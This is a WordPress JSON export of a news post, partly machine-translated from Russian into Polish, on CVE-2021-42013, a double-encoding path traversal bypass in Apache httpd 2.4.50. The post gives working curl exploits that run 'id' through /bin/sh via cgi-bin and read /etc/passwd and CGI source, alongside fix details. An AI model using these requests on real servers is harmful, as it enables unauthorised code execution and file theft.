{"id":101564,"date":"2021-10-08T10:22:44","date_gmt":"2021-10-08T08:22:44","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/eshhyo-odna-uyazvimost-v-apache-httpd-pozvolyayushhaya-obratitsya-za-predely-kornevogo-kataloga-sajta"},"modified":"2021-10-08T10:22:44","modified_gmt":"2021-10-08T08:22:44","slug":"eshhyo-odna-uyazvimost-v-apache-httpd-pozvolyayushhaya-obratitsya-za-predely-kornevogo-kataloga-sajta","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pl\/blog\/news\/eshhyo-odna-uyazvimost-v-apache-httpd-pozvolyayushhaya-obratitsya-za-predely-kornevogo-kataloga-sajta","title":{"rendered":"Kolejna luka w Apache httpd, pozwalaj\u0105ca na dost\u0119p do obszar\u00f3w poza katalogiem g\u0142\u00f3wnym witryny.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Znaleziono nowy wektor ataku na serwer HTTP Apache, kt\u00f3ry pozosta\u0142 nieza\u0142atwiony w aktualizacji 2.4.50 i pozwala na dost\u0119p do plik\u00f3w z obszar\u00f3w poza katalogiem g\u0142\u00f3wnym witryny. Ponadto, badacze odkryli spos\u00f3b, kt\u00f3ry umo\u017cliwia, przy pewnych niestandardowych ustawieniach, nie tylko odczyt plik\u00f3w systemowych, ale tak\u017ce zdalne wykonanie w\u0142asnego kodu na serwerze. Problem wyst\u0119puje tylko w wersjach 2.4.49 i 2.4.50, wcze\u015bniejsze wersje nie s\u0105 podatne na t\u0119 luk\u0119. W celu rozwi\u0105zania nowego wariantu luki, szybko wydano wersj\u0119 Apache httpd 2.4.51. <\/p>\n

\u041f\u043e \u0441\u0432\u043e\u0435\u0439 \u0441\u0443\u0442\u0438 \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 (CVE-2021-42013) \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430 \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2021-41773) \u0432 2.4.49, \u0440\u0430\u0437\u043d\u0438\u0446\u0430 \u043b\u0438\u0448\u044c \u0432 \u0438\u043d\u043e\u0439 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 «..». \u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 2.4.50 \u0431\u044b\u043b\u0430 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 «%2e» \u0434\u043b\u044f \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0442\u043e\u0447\u043a\u0438, \u043d\u043e \u0443\u043f\u0443\u0449\u0435\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u0432\u043e\u0439\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f — \u043f\u0440\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 «%%32%65» serwer<\/a> \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043b \u0435\u0451 \u0432 «%2e», \u0430 \u0437\u0430\u0442\u0435\u043c \u0432 «.», \u0442.\u0435. \u0441\u0438\u043c\u0432\u043e\u043b\u044b «..\/» \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0430\u043a «.%%32%65\/». <\/p>\n

Je\u015bli chodzi o wykorzystanie luki do wykonywania kodu, jest to mo\u017cliwe przy w\u0142\u0105czonym mod_cgi i u\u017cywaniu bazowej \u015bcie\u017cki, w kt\u00f3rej dozwolone jest wykonywanie skrypt\u00f3w CGI (na przyk\u0142ad, je\u015bli w\u0142\u0105czona jest dyrektywa ScriptAlias lub podany jest znacznik ExecCGI w dyrektywie Options). Warunkiem koniecznym do przeprowadzenia udanego ataku jest r\u00f3wnie\u017c wyra\u017ane udost\u0119pnienie w ustawieniach Apache dost\u0119pu do katalog\u00f3w z plikami wykonywalnymi, takimi jak \\\/bin, lub dost\u0119p do korzenia FS \u201e\\\/\u201d. Poniewa\u017c zazwyczaj taki dost\u0119p nie jest udzielany, atak na wykonanie kodu ma ma\u0142o zastosowa\u0144 w rzeczywistych systemach. <\/p>\n

W zwi\u0105zku z tym atak na uzyskanie tre\u015bci dowolnych plik\u00f3w systemowych i \u017ar\u00f3d\u0142owych tekst\u00f3w skrypt\u00f3w internetowych, dost\u0119pnych do odczytu przez u\u017cytkownika, pod kt\u00f3rym uruchomiony jest serwer http, wci\u0105\u017c pozostaje aktualny. Do przeprowadzenia takiego ataku wystarczy posiadanie na stronie katalogu skonfigurowanego za pomoc\u0105 dyrektyw \u201eAlias\u201d lub \u201eScriptAlias\u201d (DocumentRoot nie wystarcza), takiego jak \u201ecgi-bin\u201d. <\/p>\n

Przyk\u0142ad exploita, kt\u00f3ry pozwala na wykonanie narz\u0119dzia \u201eid\u201d na serwerze<\/a>: curl ‘http:\/\/192.168.0.1\/cgi-bin\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/bin\/sh’ —data ‘echo Content-Type: text\/plain; echo; id’ uid=1(daemon) gid=1(daemon) groups=1(daemon) <\/p>\n

\u041f\u0440\u0438\u043c\u0435\u0440 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \/etc\/passwd \u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 web-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 (\u0434\u043b\u044f \u043e\u0442\u0434\u0430\u0447\u0438 \u043a\u043e\u0434\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u0430\u0437\u043e\u0432\u043e\u0433\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0443\u043a\u0430\u0437\u0430\u043d \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0439 \u0447\u0435\u0440\u0435\u0437 \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432\u0443 «Alias» \u043a\u0430\u0442\u0430\u043b\u043e\u0433, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432): curl ‘http:\/\/192.168.0.1\/cgi-bin\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/etc\/passwd’ curl ‘http:\/\/192.168.0.1\/aliaseddir\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/usr\/local\/apache2\/cgi-bin\/test.cgi’ <\/p>\n

Problem dotyczy g\u0142\u00f3wnie ci\u0105gle aktualizowanych dystrybucji, takich jak Fedora, Arch Linux i Gentoo, a tak\u017ce port\u00f3w FreeBSD. Pakiety w stabilnych ga\u0142\u0119ziach konserwatywnych dystrybucji serwerowych, takich jak Debian, RHEL, Ubuntu i SUSE, nie s\u0105 podatne na te luki. Problem nie wyst\u0119puje, je\u015bli dost\u0119p do katalog\u00f3w jest wyra\u017anie zabroniony za pomoc\u0105 ustawienia «require all denied».
\n
\u0179r\u00f3d\u0142o: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u041d\u0430\u0439\u0434\u0435\u043d \u043d\u043e\u0432\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 http-\u0441\u0435\u0440\u0432\u0435\u0440 Apache, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0441\u0442\u0430\u043b\u0441\u044f \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 2.4.50 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0438\u0437 \u043e\u0431\u043b\u0430\u0441\u0442\u0435\u0439 \u0432\u043d\u0435 \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0441\u0430\u0439\u0442\u0430. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u043d\u0430\u0439\u0434\u0435\u043d \u0441\u043f\u043e\u0441\u043e\u0431, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0445 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u043d\u043e \u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 2.4.49 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-101564","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Kolejna luka w Apache httpd, kt\u00f3ra umo\u017cliwia dost\u0119p poza katalog g\u0142\u00f3wny strony | ProHoster","description":"Znaleziono nowy wektor ataku na serwer http Apache, kt\u00f3ry pozosta\u0142 niepoprawiony w aktualizacji 2.4.50 i umo\u017cliwia dost\u0119p do plik\u00f3w z obszar\u00f3w poza katalogiem g\u0142\u00f3wnym strony.","canonical_url":"https:\/\/prohoster.info\/pl\/blog\/news\/eshhyo-odna-uyazvimost-v-apache-httpd-pozvolyayushhaya-obratitsya-za-predely-kornevogo-kataloga-sajta","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"pl_PL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0415\u0449\u0451 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Apache httpd, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0441\u0430\u0439\u0442\u0430 | ProHoster","og:description":"\u041d\u0430\u0439\u0434\u0435\u043d \u043d\u043e\u0432\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 http-\u0441\u0435\u0440\u0432\u0435\u0440 Apache, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0441\u0442\u0430\u043b\u0441\u044f \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 2.4.50 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0438\u0437 \u043e\u0431\u043b\u0430\u0441\u0442\u0435\u0439 \u0432\u043d\u0435 \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0441\u0430\u0439\u0442\u0430.","og:url":"https:\/\/prohoster.info\/pl\/blog\/news\/eshhyo-odna-uyazvimost-v-apache-httpd-pozvolyayushhaya-obratitsya-za-predely-kornevogo-kataloga-sajta","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-10-08T08:22:44+00:00","article:modified_time":"2021-10-08T08:22:44+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"101564","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-10-08 08:27:47","updated":"2026-02-09 21:39:45","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts\/101564","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/comments?post=101564"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts\/101564\/revisions"}],"predecessor-version":[{"id":172948,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts\/101564\/revisions\/172948"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/media?parent=101564"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/categories?post=101564"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/tags?post=101564"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}